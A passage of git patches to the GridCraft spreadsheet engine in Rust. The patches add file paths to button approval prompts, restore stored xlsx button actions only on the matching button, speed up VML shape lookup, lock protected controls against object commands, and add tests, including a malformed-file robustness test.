c7a11e9860d861f7d829f6dff717ed7c5c3b67fd Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 12:58:01 -0400 Subject: [PATCH 020/167] Form controls: a button's file command names its file in the approval question Pressing a button whose command reads or writes a file asked "Run file.exportCsv from 'Button 1'? It writes a file." without saying which file, so the person could not tell what they were approving. The question now ends with the command's `path` in parentheses; control characters show as spaces and a path longer than 200 characters is shortened in the middle. --- crates/engine/src/cmd/controls.rs | 23 ++++++++++++++++++++++- crates/engine/src/tests/controls.rs | 29 +++++++++++++++++++++++++++++ 2 files changed, 51 insertions(+), 1 deletion(-) diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index 94a4ef7ec..4a9ade919 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -484,7 +484,7 @@ fn press(s: &mut Session, p: &Json) -> Result { let key = (doc, approval_key(&id, ¶ms)); if !s.macro_approvals.contains(&key) { if bool_param(p, "approve") != Some(true) { - return Err(EngineError::Approve(format!("Run {id} from '{name}'? It {why}."))); + return Err(EngineError::Approve(format!("Run {id} from '{name}'? It {why}{}.", path_note(¶ms)))); } s.macro_approvals.insert(key); } @@ -497,6 +497,27 @@ fn press(s: &mut Session, p: &Json) -> Result { } } +/// The file a button's command names in its `path`, as ` (path)` for its approval question, so +/// the person sees what it reads or writes before saying yes. Empty without a `path`; a long one +/// is shortened in the middle. +fn path_note(params: &Json) -> String { + let text = match params.get("path") { + None | Some(Json::Null) => return String::new(), + Some(Json::String(t)) => t.clone(), + Some(other) => other.to_string(), + }; + let text: String = text.chars().map(|c| if c.is_control() { ' ' } else { c }).collect(); + let n = text.chars().count(); + let shown = if n > 200 { + let head: String = text.chars().take(100).collect(); + let tail: String = text.chars().skip(n - 99).collect(); + format!("{head}…{tail}") + } else { + text + }; + format!(" ({shown})") +} + /// The approval key of a button's command: its id and parameters, with a prefix that keeps it /// apart from a macro's fingerprint (canonical JSON, which starts with `{`). fn approval_key(id: &str, params: &Json) -> String { diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index 4ea2461a0..61de5caa2 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -246,6 +246,35 @@ fn a_command_button_goes_through_the_policy_with_the_documents_trust() { assert_eq!(v(&s, "B1"), Value::Number(1.0)); } +#[test] +fn a_file_commands_approval_question_names_the_file() { + let mut s = s(); + let b = id(&s.execute("insert.button", json!({"command": "file.exportCsv", "params": {"path": "/tmp/reports/q3 totals.csv"}})).unwrap()); + match s.execute("control.press", json!({"id": b})) { + Err(EngineError::Approve(q)) => assert!(q.contains("writes a file (/tmp/reports/q3 totals.csv)"), "{q}"), + other => panic!("expected a question, got {other:?}"), + } + // A long path is shortened in the middle, and line breaks can't hide part of it. + let long = format!("/tmp/{}\n{}.csv", "a".repeat(300), "b".repeat(300)); + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + if let Some(c) = sh.controls.iter_mut().find(|c| c.id as u64 == b) { + c.action = Some(ControlAction::Command { id: "file.exportCsv".into(), params: json!({"path": long}) }); + } + match s.execute("control.press", json!({"id": b})) { + Err(EngineError::Approve(q)) => { + assert!(q.contains("(/tmp/aaa") && q.contains("…") && q.contains("bbb.csv)") && !q.contains('\n') && q.len() < 600, "{q}") + } + other => panic!("expected a question, got {other:?}"), + } + // Without a path the question is unchanged. + let plain = id(&s.execute("insert.button", json!({"command": "cell.set", "params": {"cell": "A1", "input": "1"}})).unwrap()); + s.doc_mut().unwrap().trust = Trust::FromFile; + match s.execute("control.press", json!({"id": plain})) { + Err(EngineError::Approve(q)) => assert!(q.ends_with("came with a workbook you opened."), "{q}"), + other => panic!("expected a question, got {other:?}"), + } +} + #[test] fn hostile_params_are_refused() { let mut s = s(); From 09a37a8f10a4c33a9407448dbdeb3661f61a5b59 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 12:59:59 -0400 Subject: [PATCH 021/167] Form controls: a kept button action comes back only on the same button The button actions xlsx has no place for (commands, fixed inputs, output cells) are kept in a hidden name keyed by sheet and the control's place on the sheet. When another application added, removed or reordered controls before saving, opening the file gave the action to whichever button now had that place, and could replace a macro the file itself gave that button. Each entry now also holds the button's name and anchor cell, and is restored only on a button with that name and cell whose own action from the file does not contradict it: a stored macro action only on a button that still runs that macro, a stored command only on a button the file gives no macro. --- crates/engine/src/cmd/controls.rs | 29 ++++++++++++++---- crates/engine/src/tests/controls.rs | 46 +++++++++++++++++++++++++++++ 2 files changed, 69 insertions(+), 6 deletions(-) diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index 4a9ade919..d2cf17f01 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -563,14 +563,15 @@ fn plain(a: &ControlAction) -> bool { } /// A copy of `wb` for xlsx with the button actions xlsx can't express (commands, fixed inputs, -/// output cells) in a hidden name, keyed by sheet name and the control's place on the sheet. -/// `None` when there is nothing to store. +/// output cells) in a hidden name, keyed by sheet name and the control's place on the sheet, with +/// the button's name and anchor cell to check it is still the same button when the file comes +/// back. `None` when there is nothing to store. pub(crate) fn with_action_names(wb: &Workbook) -> Result> { let mut items = Vec::new(); for sh in &wb.sheets { for (i, c) in sh.controls.iter().enumerate() { if let Some(a) = c.action.as_ref().filter(|a| !plain(a)) { - items.push(json!({"sheet": sh.name, "index": i, "action": a})); + items.push(json!({"sheet": sh.name, "index": i, "name": c.display_name(), "at": c.anchor.cell.a1(), "action": a})); } } } @@ -587,7 +588,11 @@ pub(crate) fn with_action_names(wb: &Workbook) -> Result> { } /// After a file is opened: gives buttons back the actions kept in the hidden name, and removes -/// it. Entries that don't match a button, or don't parse, are dropped. +/// it. Entries that don't parse, or don't match a button, are dropped: the button at the stored +/// place must have the stored name and anchor cell (another application may have added, removed +/// or reordered controls), and must not have been given another macro since (a stored macro +/// action comes back only on a button that still runs that macro, a stored command only on one +/// the file gives no macro). pub(crate) fn load_action_names(wb: &mut Workbook) { let Some(items) = stash::get_json(wb, ACTIONS_KEY) else { return }; stash::remove(wb, ACTIONS_KEY); @@ -599,10 +604,22 @@ pub(crate) fn load_action_names(wb: &mut Workbook) { ControlAction::Command { id, params } => !id.is_empty() && id.len() <= 200 && params.is_object(), }; let Some(si) = wb.sheet_index(sheet) else { continue }; - if !valid || !wb.sheet(si).is_some_and(|sh| sh.controls.get(index as usize).is_some_and(|c| c.kind == ControlKind::Button)) { + let Ok(index) = usize::try_from(index) else { continue }; + let text = |k: &str| item.get(k).and_then(Json::as_str); + let same = |c: &FormControl| { + c.kind == ControlKind::Button + && text("name").is_none_or(|n| n == c.display_name()) + && text("at").is_none_or(|a| a == c.anchor.cell.a1()) + && match (&c.action, &action) { + (None, _) => true, + (Some(ControlAction::Macro { name: now, .. }), ControlAction::Macro { name: kept, .. }) => now.eq_ignore_ascii_case(kept), + _ => false, + } + }; + if !valid || !wb.sheet(si).is_some_and(|sh| sh.controls.get(index).is_some_and(same)) { continue; } - if let Some(c) = wb.sheet_mut(si).and_then(|sh| sh.controls.get_mut(index as usize)) { + if let Some(c) = wb.sheet_mut(si).and_then(|sh| sh.controls.get_mut(index)) { c.action = Some(action); } } diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index 61de5caa2..98b2404ae 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -351,6 +351,52 @@ fn reopen(s: &mut Session) { s.execute("file.open", json!({"name": "x.xlsx", "base64": b64})).unwrap(); } +#[test] +fn a_kept_button_action_comes_back_only_on_the_same_button() { + use crate::cmd::controls::{load_action_names, with_action_names}; + let mut s = s(); + s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap(); + s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap(); + s.execute("insert.button", json!({"at": "D6", "text": "Other"})).unwrap(); + s.execute("insert.button", json!({"at": "D9", "text": "Fixed", "macro": "Mark", "input": "F1:G2"})).unwrap(); + let wb = (*s.doc().unwrap().wb).clone(); + let stored = with_action_names(&wb).unwrap().unwrap(); + let actions = |wb: &gridcraft_model::Workbook| wb.sheet(0).unwrap().controls.iter().map(|c| c.action.clone()).collect::>(); + let kept = |wb: &gridcraft_model::Workbook| { + let mut wb = wb.clone(); + for c in &mut wb.sheet_mut(0).unwrap().controls { + // As xlsx carries them: a macro on the selection, or nothing for a command. + c.action = match c.action.take() { + Some(ControlAction::Macro { name, .. }) => Some(ControlAction::Macro { name, input: MacroInput::Selection, output: None }), + _ => None, + }; + } + wb + }; + // The same buttons in the same places get their actions back. + let mut same = kept(&stored); + load_action_names(&mut same); + assert_eq!(actions(&same), actions(&wb)); + // Another application removed the first button: the command must not move to "Other". + let mut shifted = kept(&stored); + shifted.sheet_mut(0).unwrap().controls.remove(0); + load_action_names(&mut shifted); + assert_eq!(shifted.sheets[0].controls[0].action, None, "the command stays with the removed button"); + // A button given another macro there keeps it; a command doesn't replace a macro either. + let mut reassigned = kept(&stored); + for i in [0, 2] { + reassigned.sheet_mut(0).unwrap().controls[i].action = + Some(ControlAction::Macro { name: "Other".into(), input: MacroInput::Selection, output: None }); + } + load_action_names(&mut reassigned); + for i in [0, 2] { + assert!( + matches!(&reassigned.sheets[0].controls[i].action, Some(ControlAction::Macro { name, input: MacroInput::Selection, .. }) if name == "Other"), + "{i}" + ); + } +} + #[test] fn every_kind_and_action_survives_xlsx() { let mut s = s(); From b0531aeb7318884c567ded0fd67e413da68f841c Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 13:01:04 -0400 Subject: [PATCH 022/167] XLSX: form control VML shapes are also found by their o:spid Some producers give a VML shape a named id (`id="Button 1"`) and keep its number in `o:spid`. The form control reader looked for the number only in `id`, so a control listed in lost its caption and macro (they live in the VML), and a control known only from the VML was skipped. Shapes are now matched by `id`, else by `o:spid`, as pass-through already does when it leaves the modelled shapes out. --- crates/xlsx/src/controls.rs | 10 +++++++-- crates/xlsx/src/tests/controls_tests.rs | 29 +++++++++++++++++++++++++ 2 files changed, 37 insertions(+), 2 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index dabcadc45..58b240745 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -388,6 +388,12 @@ fn shape_number(id: &str) -> Option { id.trim().trim_start_matches("_x0000_s").parse().ok() } +/// A VML shape's number: from its `id` (`_x0000_s1025`), else from `o:spid`, where producers that +/// give the shape a named id (`id="Button 1"`) keep it. +fn number_of(shape: &El) -> Option { + shape.attr("id").and_then(shape_number).or_else(|| shape.attr("spid").and_then(shape_number)) +} + /// Reads a sheet's buttons, scroll bars and spin buttons: each `` with its properties /// part, else its VML shape, and VML shapes the sheet doesn't list (files that only have VML). /// Returns the shape numbers of the controls it read, so pass-through keeps only the others. @@ -398,7 +404,7 @@ pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, rels: &[Rel], sheet: &mut S None => None, }; let shapes: Vec<&El> = vml.as_ref().map(|v| v.kids("shape").collect()).unwrap_or_default(); - let shape_of = |n: u64| shapes.iter().copied().find(|s| s.attr("id").and_then(shape_number) == Some(n)); + let shape_of = |n: u64| shapes.iter().copied().find(|s| number_of(s) == Some(n)); // Every shape the sheet lists, read here or not. let mut listed: HashSet = HashSet::new(); for ctl in controls.map(controls_in).unwrap_or_default() { @@ -447,7 +453,7 @@ pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, rels: &[Rel], sheet: &mut S } // Controls known only from the VML. for s in &shapes { - let Some(n) = s.attr("id").and_then(shape_number) else { continue }; + let Some(n) = number_of(s) else { continue }; if listed.contains(&n) || sheet.controls.len() >= MAX_CONTROLS { continue; } diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index 0e52ed3de..a4f97439a 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -181,6 +181,35 @@ fn vml_only_controls_are_read_and_clamped() { assert_eq!(c[2].action, Some(ControlAction::Macro { name: "Tidy".into(), input: MacroInput::Selection, output: None })); } +/// Shapes with a named `id` and their number in `o:spid`, as some producers write them. +const VML_SPID: &str = r##" +
Go
1, 0, 6, 0, 3, 0, 7, 0[0]!Tidy +1, 0, 1, 0, 1, 20, 3, 079 +"##; + +#[test] +fn vml_shapes_are_also_found_by_their_spid() { + let rels = r#""#; + // The button is listed in without a properties part; the spin button is only in + // the VML. + let bytes = minimal( + r#""#, + &[("xl/worksheets/_rels/sheet1.xml.rels", rels), ("xl/drawings/vmlDrawing1.vml", VML_SPID)], + "", + "", + ); + let (wb, _) = read_xlsx(&bytes).unwrap(); + let c = &wb.sheet(0).unwrap().controls; + assert_eq!(c.len(), 2, "{c:?}"); + assert_eq!((c[0].kind, c[0].name.as_str(), c[0].text.as_str()), (ControlKind::Button, "Go Button", "Go")); + assert_eq!(c[0].action, Some(ControlAction::Macro { name: "Tidy".into(), input: MacroInput::Selection, output: None })); + assert_eq!((c[1].kind, c[1].value, c[1].max), (ControlKind::Spin, 7, 9)); + // Saved again, each is written once and nothing of them is kept twice. + let out = write_xlsx(&wb).unwrap(); + let (back, _) = read_xlsx(&out).unwrap(); + assert_eq!(back.sheet(0).unwrap().controls.len(), 2); +} + #[test] fn the_properties_part_wins_over_the_vml() { let mut wb = book(); From 0e631e20dabaf022eb3e83b0a60025898cdd8bb9 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 13:02:48 -0400 Subject: [PATCH 023/167] XLSX: a hostile-file test for form controls A sheet with more controls than a sheet keeps (10,000), properties parts that are not XML, are missing or hold numbers no control can take (1e400, NaN, -inf, 2^64), shape ids that are not numbers, anchors far outside the grid, and oversized names and links. Reading keeps exactly the cap, every control passes the model's rules, and a save and reopen keeps them all. --- crates/xlsx/src/tests/controls_tests.rs | 50 +++++++++++++++++++++++++ 1 file changed, 50 insertions(+) diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index a4f97439a..f8aa60d08 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -232,3 +232,53 @@ fn the_properties_part_wins_over_the_vml() { let (back, _) = read_xlsx(&zipped).unwrap(); assert_eq!(back.sheet(0).unwrap().controls[0].max, 500); } + +/// A hostile sheet: more controls than a sheet keeps, properties parts that are not XML or hold +/// numbers no control can take, shape ids that are not numbers, and oversized names, captions and +/// links. Reading must not panic, must keep at most the cap, and every control it keeps must pass +/// the model's rules. +#[test] +fn hostile_form_controls_are_capped_and_repaired() { + let n = 13_000; + let mut controls = String::from(""); + let anchor = r#"1-99999999999999999999990-4020"#; + for i in 0..n { + let rid = match i % 10 { + 0 => "rIdB", + 1 => "rIdC", + _ => "rIdA", + }; + let _ = std::fmt::Write::write_fmt( + &mut controls, + format_args!(r#"{anchor}"#, 2000 + i, "n".repeat(400)), + ); + } + controls + .push_str(r#""#); + let rels = r#""#; + let link = format!("$B${}", "9".repeat(500)); + let prop_a = format!( + r#""# + ); + let body = format!(r#"{controls}"#) + .replace("", r#""#); + let bytes = minimal( + &body, + &[("xl/worksheets/_rels/sheet1.xml.rels", rels), ("xl/ctrlProps/a.xml", &prop_a), ("xl/ctrlProps/b.xml", "\u{0}\u{1}not xml <<<")], + "", + "", + ); + let (wb, _) = read_xlsx(&bytes).unwrap(); + let c = &wb.sheet(0).unwrap().controls; + assert_eq!(c.len(), 10_000, "the cap of one sheet"); + for x in c { + assert_eq!(x.kind, ControlKind::Slider); + assert!(x.check_numbers().is_ok(), "{x:?}"); + assert!(x.value >= x.min && x.value <= x.max, "{x:?}"); + assert!(x.name.chars().count() <= 255 && x.link.is_none(), "{x:?}"); + assert!(x.anchor.width >= 1.0 && x.anchor.height >= 1.0 && x.anchor.cell.row < gridcraft_core::MAX_ROWS, "{x:?}"); + } + // Written back and read again, the kept controls stay valid. + let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); + assert_eq!(back.sheet(0).unwrap().controls.len(), c.len()); +} From cc68d71ac203963c53360096f35e0948ad13dd22 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 13:04:05 -0400 Subject: [PATCH 024/167] XLSX: form controls find their VML shapes through an index Each control listed in looked for its VML shape by scanning every shape, so a sheet of 10,000 controls took over 8 s to open. The shapes are now indexed by number once, and the same sheet opens in about 0.4 s. --- crates/xlsx/src/controls.rs | 11 +++++++++-- crates/xlsx/src/tests/controls_tests.rs | 21 +++++++++++++++++++++ 2 files changed, 30 insertions(+), 2 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index 58b240745..37765dd19 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -12,7 +12,7 @@ //! list boxes, drop-downs, ActiveX controls) are left to pass-through (`passthrough.rs`), which //! keeps them unchanged; a sheet can hold both, in one `` element and one VML drawing. -use std::collections::HashSet; +use std::collections::{HashMap, HashSet}; use std::fmt::Write as _; use gridcraft_core::CellRef; @@ -404,7 +404,14 @@ pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, rels: &[Rel], sheet: &mut S None => None, }; let shapes: Vec<&El> = vml.as_ref().map(|v| v.kids("shape").collect()).unwrap_or_default(); - let shape_of = |n: u64| shapes.iter().copied().find(|s| number_of(s) == Some(n)); + // Looked up once per listed control: an index keeps a sheet of many controls linear. + let mut by_number: HashMap = HashMap::with_capacity(shapes.len()); + for s in &shapes { + if let Some(n) = number_of(s) { + by_number.entry(n).or_insert(s); + } + } + let shape_of = |n: u64| by_number.get(&n).copied(); // Every shape the sheet lists, read here or not. let mut listed: HashSet = HashSet::new(); for ctl in controls.map(controls_in).unwrap_or_default() { diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index f8aa60d08..8825e040a 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -282,3 +282,24 @@ fn hostile_form_controls_are_capped_and_repaired() { let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); assert_eq!(back.sheet(0).unwrap().controls.len(), c.len()); } + +/// Each listed control finds its VML shape through an index, so a sheet of many controls reads in +/// linear time (it used to scan every shape for every control). +#[test] +#[allow(clippy::disallowed_methods)] // a native-only timing test: the clock is read off wasm +fn many_listed_controls_read_in_linear_time() { + let mut wb = Workbook::default(); + if let Some(sh) = wb.sheet_mut(0) { + for i in 0..10_000u32 { + let a = anchor(&format!("B{}", i + 1), 60.0, 18.0); + sh.controls.push(FormControl { id: i + 1, kind: ControlKind::Spin, anchor: a, ..Default::default() }); + } + } + let bytes = write_xlsx(&wb).unwrap(); + let t0 = std::time::Instant::now(); + let (back, _) = read_xlsx(&bytes).unwrap(); + let took = t0.elapsed(); + assert_eq!(back.sheet(0).unwrap().controls.len(), 10_000); + // About 0.4 s here; scanning every shape for every control took over 8 s. + assert!(took < std::time::Duration::from_secs(3), "{took:?}"); +} From 0fb3ea7a68ec97992821d3f680fdf581d8964bd8 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 16:12:07 -0400 Subject: [PATCH 025/167] Docs: revision history for form controls file-format-parity.md, target-app-parity.md and ui-parity.md gave form controls a new timestamp line without a matching revision-history row; each now has one. The file-format-parity.md timestamp line keeps the earlier change it replaced, as the other docs do. --- docs/file-format-parity.md | 3 ++- docs/target-app-parity.md | 1 + docs/ui-parity.md | 1 + 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index d3607f612..6f01e5c42 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (form controls: buttons, scroll bars and spin buttons read and written) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (form controls: buttons, scroll bars and spin buttons read and written; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -110,6 +110,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | XLSX: buttons, scroll bars and spin buttons read and written (control properties parts, ``, VML `x:ClientData`); other form controls stay with pass-through | | 2026-10-21 | minor | HTML (Save as Web Page) writes pictures (`data:` URI ``) and charts (inline SVG from the chart crate's drawing primitives, text included) at their anchors; the table uses the sheet's column widths and row heights when the sheet has either, and output for sheets without pictures or charts is unchanged | | 2026-10-20 | trivial | XLSX shared strings: Japanese phonetic runs (ふりがな, `` with ``) are read into the workbook and written back next to the string with the same text, so an open + save no longer deletes them; bad offsets and readings are dropped with a warning, a `` without runs is kept on its own, and when duplicate `` items share a text but not a reading only the first reading is written (reported on open) (`phonetic_tests.rs`) | | 2026-10-20 | minor | A workbook theme's major/minor per-script typefaces (``, also Hebr, Jpan and the rest) are read and written back in file order after ``; they were dropped before. A hostile file is held to 64 entries of 256 characters | diff --git a/docs/target-app-parity.md b/docs/target-app-parity.md index 7b8791f17..be1dec8b6 100644 --- a/docs/target-app-parity.md +++ b/docs/target-app-parity.md @@ -335,6 +335,7 @@ The inventory carried over from the 2026-10-07 ROADMAP.md, updated for what land | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Form controls (buttons, scroll bars, spin buttons) in Insert objects and Automation; catalog 276 / 292 → 280 / 296 (Developer › Controls) | | 2026-10-31 | minor | Charts move and resize from eight handles like every floating object (#190): the Essentials chart work is polish only (5–8 h), and the chart rows and the interaction discount no longer list resizing as missing; the Mainstream chart row no longer lists trendlines as missing (no score change) | | 2026-10-25 | minor | Automation: macro interface (Automate › Macros, the Macros and Record Macro dialogs, the step editor, shortcuts) (no score change) | | 2026-10-25 | trivial | Catalog count 276 / 292 in the summary table and the method, as `cargo xtask parity` measures (no score change) | diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 9b19ddbb5..b395e70df 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -195,6 +195,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Form controls: buttons, sliders (scroll bars) and spin buttons placed, worked, selected and edited on the sheet (Insert › Controls, Assign Action, Format Control); catalog 280 / 296 | | 2026-10-31 | minor | Floating objects: one selection for charts, pictures, shapes and slicers, eight resize handles with matching cursors (right-to-left sheets included), Escape drops the selection | | 2026-10-30 | minor | Checkbox cells print and export to PDF as boxes, as on screen: unchecked white with a grey outline, checked green with a white tick (#2972). They printed their value as TRUE or FALSE; other values in a checkbox cell still print as text | | 2026-10-29 | minor | Formula pointing from the keyboard: Ctrl+arrow (⌘arrow) moves the pointed cell to the edge of its data and Ctrl+Shift+arrow (⌘⇧arrow) extends the pointed range there, as the same keys move and extend the selection, so typing `=COUNTIF(`, clicking the top of a column and pressing ⌘⇧↓ points at the whole column of data; the keys used to move or extend by one cell. A range reaching the sheet edge is written as whole columns or rows (`A:B`). The editor reads the modifiers of the arrow's own key event, so a keystroke pressed and released within one frame (a control client's `ui.key`, an automation tool) keeps its Shift and Ctrl | From 14dee9155dd7e26ba99004bbcd2046b9227ef800 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sat, 31 Oct 2026 16:35:36 -0400 Subject: [PATCH 026/167] Form controls: the object commands leave a locked control on a protected sheet alone control.format and control.assign refused to change a locked control on a protected sheet, but object.move, object.delete, object.setAnchorMode, arrange.bringForward, arrange.sendBackward and arrange.align changed it all the same. They now refuse it with the same message; an unlocked control still moves, and other kinds of objects are unchanged. --- crates/engine/src/cmd/controls.rs | 18 +++++++++++++++++- crates/engine/src/cmd/extra/objects.rs | 6 ++++++ crates/engine/src/cmd/insert.rs | 2 ++ crates/engine/src/tests/controls.rs | 25 +++++++++++++++++++++++++ 4 files changed, 50 insertions(+), 1 deletion(-) diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index d2cf17f01..f68effc9e 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -8,7 +8,9 @@ //! else made asks before it runs anything. use gridcraft_core::CellRef; -use gridcraft_model::{Anchor, AnchorMode, CONTROL_MAX, ControlAction, ControlKind, FormControl, MAX_MACRO_NAME, MacroInput, Sheet, Workbook}; +use gridcraft_model::{ + Anchor, AnchorMode, CONTROL_MAX, ControlAction, ControlKind, FormControl, MAX_MACRO_NAME, MacroInput, ObjKind, Sheet, Workbook, +}; use serde_json::{Value as Json, json}; use super::{ @@ -298,6 +300,20 @@ fn find(s: &Session, cmd: &str, p: &Json) -> Result<(usize, usize, FormControl)> } /// Drawing objects on a protected sheet can't be changed while they are locked. +/// For the object commands (`object.move`, `object.delete`, `object.setAnchorMode`, `arrange.*`, +/// `arrange.align`): refuses to change form controls `ids` on `sheet` when one is locked and the +/// sheet is protected, as `control.format` and `control.assign` do. Other kinds pass. +pub(crate) fn check_objects_unlocked(s: &Session, sheet: usize, kind: ObjKind, ids: &[u32]) -> Result<()> { + if kind != ObjKind::Control { + return Ok(()); + } + let Some(sh) = s.doc()?.wb.sheet(sheet) else { return Ok(()) }; + if sh.is_protected() && sh.controls.iter().any(|c| c.locked && ids.contains(&c.id)) { + return Err(EngineError::Other(PROTECTED.into())); + } + Ok(()) +} + fn check_unlocked(s: &Session, sheet: usize, c: &FormControl) -> Result<()> { if c.locked && s.doc()?.wb.sheet(sheet).is_some_and(Sheet::is_protected) { return Err(EngineError::Other(PROTECTED.into())); diff --git a/crates/engine/src/cmd/extra/objects.rs b/crates/engine/src/cmd/extra/objects.rs index 67286f268..91952c219 100644 --- a/crates/engine/src/cmd/extra/objects.rs +++ b/crates/engine/src/cmd/extra/objects.rs @@ -36,6 +36,9 @@ pub(super) fn arrange(s: &mut Session, p: &Json, forward: bool) -> Result let kind = str_param(p, "kind").unwrap_or("shape").to_string(); let extreme = bool_param(p, "toFront").or(bool_param(p, "toBack")).unwrap_or(false); let si = s.doc()?.wb.active_sheet(); + if let Some(k) = gridcraft_model::ObjKind::parse(&kind) { + crate::cmd::controls::check_objects_unlocked(s, si, k, &[id])?; + } fn reorder(v: &mut Vec, i: usize, forward: bool, extreme: bool) { if i >= v.len() { return; @@ -125,6 +128,9 @@ pub(super) fn align(s: &mut Session, p: &Json) -> Result { p.get("ids").and_then(Json::as_array).map(|a| a.iter().filter_map(|v| v.as_u64().map(|x| x as u32)).collect()).unwrap_or_default(); let how = str_param(p, "align").unwrap_or("left").to_string(); let si = s.doc()?.wb.active_sheet(); + if let Some(k) = gridcraft_model::ObjKind::parse(&kind) { + crate::cmd::controls::check_objects_unlocked(s, si, k, &ids)?; + } edit(s, |cx| { let sheet = cx.sheet_mut(si)?; let geo: Vec<(u32, f64, f64, f32, f32)> = { diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 0806f2183..3c95e3388 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -1187,6 +1187,8 @@ fn object_param(s: &Session, p: &Json, cmd: &str) -> Result<(usize, ObjRef)> { if !d.wb.sheet(sheet).is_some_and(|sh| sh.has_object(o)) { return Err(bad(cmd, "no such object")); } + // A locked form control on a protected sheet stays as it is. + super::controls::check_objects_unlocked(s, sheet, kind, &[id])?; Ok((sheet, o)) } diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index 98b2404ae..8f0741d49 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -335,6 +335,31 @@ fn links_follow_inserts_deletes_renames_and_cut_moves() { assert_eq!((link(&s, 0, local), link(&s, 0, remote)), ("$G$9".to_string(), "Inputs!$A$1".to_string())); } +#[test] +fn the_object_commands_leave_a_locked_control_on_a_protected_sheet_alone() { + let mut s = s(); + let locked = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1"})).unwrap()); + let other = id(&s.execute("insert.spinButton", json!({"at": 